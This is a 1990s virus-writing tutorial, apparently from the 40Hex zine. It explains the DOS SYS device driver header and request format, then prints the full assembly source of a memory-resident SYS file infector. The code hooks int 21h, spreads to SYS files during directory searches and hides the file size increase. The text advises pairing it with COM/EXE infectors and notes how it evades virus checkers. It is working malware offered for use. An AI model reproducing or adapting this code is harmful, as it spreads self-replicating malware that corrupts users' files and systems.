����������������������������������������� An Introduction to Nonoverwriting Viruses Part III: SYS Infectors ����������������������������������������� By Dark Angel ����������������������������������������� The SYS file is the most overlooked executable file structure in DOS. Viruses are quite capable of infecting SYS files, as DOS kindly allows for such extensions to this file format. The SYS file is loaded beginning at offset 0 of a particular segment. It consists of a header followed by code. SYS files may be chained together after a simple modification in the header. This is the key to infecting SYS files. There are two types of device drivers; block and character. Block devices include floppy, hard, and virtual disks, i.e. any media which can store data. Character devices include printers, modems, keyboard, and the screen. The virus will generally be a character device, as it reduces complexity. The header structure is straightforward: Offset Size Description ------ ---- ----------- 0h DWORD Pointer to next header 4h WORD Attribute 6h WORD Pointer to strategy routine 8h WORD Pointer to interrupt routine 0Ah QWORD Name of the device driver The pointer to the next device driver header appears at offset zero in the header. This is a far pointer consisting of a segment:offset pair. If the current device is the only device appearing in the SYS file, then this pointer should be set to FFFF:FFFF. However, if there are two or more device drivers contained in the file, then the offset field should be equal to the absolute location of the next device in the file. The segment field should remain FFFF. For example, if a second device driver occurs at offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300 The second (and all other) device driver must contain a new header as well. The next field contains the attribute of the device driver. Bit 15 determines the nature of the device driver. If bit 15 is set, then the device driver header corresponds to a character device; otherwise, the device is a block device. You need not concern yourself with any of the other bits; they may remain cleared. Before the next two fields may be understood, it is necessary to introduce the concept of the request header. The request header contains DOS's requests of the device driver. For example, DOS may ask for initialisation or a read or even a status check. The information needed by the device driver to interpret the request is all contained in the request header. It is passed to the strategy routine by DOS as a far pointer in ES:BX. The job of the strategy routine is to save the pointer for use by the interrupt routine. The interrupt routine is called by DOS immediately after the strategy routine. This routine processes the request in the header and performs the appropriate actions. The word-length pointers in the SYS header to the strategy and interrupt routines are relative to the start of the SYS file. So, if the strategy routine resides in absolute offset 32h in the file, then the field containing the location of the strategy routine would hold the number 32h. The name field in the SYS header simply holds an 8 byte device name. For example, 'NUL ' and 'CLOCK$ ' are two common DOS devices. The name should be justified with space characters (0x20). By using DOS's feature of chaining SYS files, we may easily infect this type of file. No bytes need to be saved. There are but two steps. The first is to concatenate the virus to the target file. The second is to alter the first word of the SYS file to point to the virus header. The only trick involved is writing the SYS interrupt routine. The format of the request header is: Offset Size Description ------ ---- ----------- 0h BYTE Length of request header (in bytes) 1h BYTE Unit code (for block devices) 2h BYTE Command code 3h WORD Status 5h QWORD Reserved by DOS 0Dh Var. Data for the operation Only one command code is relevant for use in the virus. Upon initialisation of the device driver, DOS will send a request header with 0 in the command code field. This is the initialisation check. The format of the variable sized field in the request header in this case is: Offset Size Description ------ ---- ----------- 0Dh BYTE Number of units (ignored by character devices) 0Eh DWORD Ending address of resident program code 12h DWORD Pointer to BPB aray (ignored by character devices) 16h BYTE Drive number (irrelevant in character devices) The only relevant fields are at offset 3 and 0Eh. Offset 3 holds the status word of the operation. The virus fills this in with the appropriate value. Generally, the virus should put a value of 100h in the status word in the event of a successful request and a 8103h in the status word in the event of a failure. The 8103h causes DOS to think that the device driver does not understand the request. A value of 8102h should be returned in the event of a failed installation. Offset 0Eh will hold the address of the end of the virus (include the heap!) in the event of a successful installation and CS:0 in the event of a failure. Basically, the strategy routine of the virus should contain a simple stub to save the es:bx pointer. The interrupt routine should fail all requests other than initialisation. It should perform an installation if the virus is not yet installed and fail if it is already in memory (remember to set offset 0eh to cs:0). A sample infector with very limited stealth features follows. While it is somewhat large, it may be easily coupled with a simple COM/EXE infection routine to create a powerful virus. It is a SYS-only, memory resident infector. --------------------------------------------------------------------------- .model tiny .code org 0 ; SYS files originate at zero ; SYS infector ; Written by Dark Angel of Phalcon/Skism ; for 40Hex header: next_header dd -1 ; FFFF:FFFF attribute dw 8000h ; character device strategy dw offset _strategy interrupt dw offset _interrupt namevirus db 'SYS INF ' ; simple SYS infector endheader: author db 0,'Simple SYS infector',0Dh,0Ah db 'Written by Dark Angel of Phalcon/Skism',0 _strategy: ; save es:bx pointer push si call next_strategy next_strategy: pop si mov cs:[si+offset savebx-offset next_strategy],bx mov cs:[si+offset savees-offset next_strategy],es pop si retf _interrupt: ; install virus in memory push ds ; generally, only the segment push es ; registers need to be preserved push cs pop ds call next_interrupt next_interrupt: pop bp les bx,cs:[bp+savebx-next_interrupt] ; get request header pointer mov es:[bx+3],8103h ; default to fail request cmp byte ptr es:[bx+2], 0 ; check if it is installation request jnz exit_interrupt ; exit if it is not mov es:[bx+10h],cs ; fill in ending address value lea si,[bp+header-next_interrupt] mov es:[bx+0eh],si dec byte ptr es:[bx+3] ; and assume installation failure mov ax, 0b0fh ; installation check int 21h cmp cx, 0b0fh jz exit_interrupt ; exit if already installed add es:[bx+0eh],offset endheap ; fixup ending address mov es:[bx+3],100h ; and status word xor ax,ax mov ds,ax ; ds->interrupt table les bx,ds:[21h*4] ; get old interrupt handler mov word ptr cs:[bp+oldint21-next_interrupt],bx mov word ptr cs:[bp+oldint21+2-next_interrupt],es lea si,[bp+int21-next_interrupt] cli mov ds:[21h*4],si ; replace int 21h handler mov ds:[21h*4+2],cs sti exit_interrupt: pop es pop ds retf int21: cmp ax,0b0fh ; installation check? jnz notinstall xchg cx,ax ; mark already installed exitint21: iret notinstall: pushf db 9ah ; call far ptr This combined with the oldint21 dd ? ; pushf simulates an int 21h call pushf push bp push ax mov bp, sp ; set up new stack frame ; flags [bp+10] ; CS:IP [bp+6] ; flags new [bp+4] ; bp [bp+2] ; ax [bp] mov ax, [bp+4] ; get flags mov [bp+10], ax ; replace old flags with new pop ax ; restore the stack pop bp popf cmp ah, 11h ; trap FCB find first and jz findfirstnext cmp ah, 12h ; FCB find next calls only jnz exitint21 findfirstnext: cmp al,0ffh ; successful findfirst/next? jz exitint21 ; exit if not push bp call next_int21 next_int21: pop bp sub bp, offset next_int21 push ax ; save all registers push bx push cx push dx push ds push es push si push di mov ah, 2fh ; ES:BX <- DTA int 21h push es ; DS:BX->DTA pop ds cmp byte ptr [bx], 0FFh ; extended FCB? jnz regularFCB ; continue if not add bx, 7 ; otherwise, convert to regular FCB regularFCB: mov cx, [bx+29] ; get file size mov word ptr cs:[bp+filesize], cx push cs ; ES = CS pop es cld ; The following code converts the FCB to an ASCIIZ string lea di, [bp+filename] ; destination buffer lea si, [bx+1] ; source buffer - filename cmp word ptr [si],'OC' ; do not infect CONFIG.SYS jz bombout mov cx, 8 ; copy up to 8 bytes back: cmp byte ptr ds:[si], ' ' ; is it a space? jz copy_done ; if so, done copying movsb ; otherwise, move character to buffer loop back copy_done: mov al, '.' ; copy period stosb mov ax, 'YS' lea si, [bx+9] ; source buffer - extension cmp word ptr [si], ax ; check if it has the SYS jnz bombout ; extension and exit if it cmp byte ptr [si+2], al ; does not jnz bombout stosw ; copy 'SYS' to the buffer stosb mov al, 0 ; copy null byte stosb push ds pop es ; es:bx -> DTA push cs pop ds xchg di,bx ; es:di -> DTA ; open file, read/only call open ; al already 0 jc bombout ; exit on error mov ah, 3fh ; read first mov cx, 2 ; two bytes of lea dx, [bp+buffer] ; the header int 21h mov ah, 3eh ; close file int 21h InfectSYS: inc word ptr cs:[bp+buffer] ; if first word not FFFF jz continueSYS ; assume already infected ; this is a safe bet since ; most SYS files do not have ; another SYS file chained on alreadyinfected: sub es:[di+29], heap - header ; hide file size increase ; during a DIR command ; This causes CHKDSK errors ;sbb word ptr es:[di+31], 0 ; not needed because SYS files ; are limited to 64K maximum bombout: pop di pop si pop es pop ds pop dx pop cx pop bx pop ax pop bp iret continueSYS: push ds pop es lea si, [bp+offset header] lea di, [bp+offset bigbuffer] mov cx, offset endheader - offset header rep movsb mov cx, cs:[bp+filesize] add cx, offset _strategy - offset header ; calculate offset to mov word ptr [bp+bigbuffer+6],cx ; strategy routine add cx, offset _interrupt - offset _strategy;calculate offset to mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine continueinfection: mov ax, 4300h ; get file attributes lea dx, [bp+filename] int 21h push cx ; save attributes on stack push dx ; save filename on stack mov ax, 4301h ; clear file attributes xor cx, cx lea dx,[bp+filename] int 21h call openreadwrite mov ax, 5700h ; get file time/date int 21h push cx ; save them on stack push dx mov ah, 40h ; write filesize to the old mov cx, 2 ; SYS header lea dx, [bp+filesize] int 21h mov ax, 4202h ; go to end of file xor cx, cx cwd ; xor dx, dx int 21h mov ah, 40h ; concatenate header mov cx, offset endheader - offset header lea dx, [bp+bigbuffer] int 21h mov ah, 40h ; concatenate virus mov cx, offset heap - offset endheader lea dx, [bp+endheader] int 21h mov ax, 5701h ; restore file time/date pop dx pop cx int 21h mov ah, 3eh ; close file int 21h mov ax, 4301h ; restore file attributes pop cx pop dx int 21h jmp bombout openreadwrite: mov al, 2 ; open read/write mode open: mov ah, 3dh lea dx,[bp+filename] int 21h xchg ax, bx ; put handle in bx ret heap: savebx dw ? savees dw ? buffer db 2 dup (?) filename db 13 dup (?) filesize dw ? bigbuffer db offset endheader - offset header dup (?) endheap: end header --------------------------------------------------------------------------- The reason the "delta offset" is needed throughout the file is because it is impossible to know the exact location where the SYS file will be loaded into memory. This can be ameliorated by some file padding and fancy mathematical calculations. The advantages of using SYS files are manyfold. There is no load high routine involved apart from the strategy/interrupt routines. This saves space. SYS files also generally load before TSR virus checkers. TSR checkers also can't detect the residency routine of the virus, since it is a normal part of the DOS loading process. The routine for the infection of the SYS file is ridiculously easy to implement and takes remarkably little space, so there is no reason not to include SYS support in viruses. Finally, the memory "loss" reported by CHKDSK usually associated with memory resident viruses is not a problem with SYS files. A SYS file infector, when combined with a COM and EXE general infector, can lead to a powerful virus. Once the first SYS file is infected, the infected system becomes extremely vulnerable to the virus, as there is little the user can do to prevent the virus from running, short of a clean boot.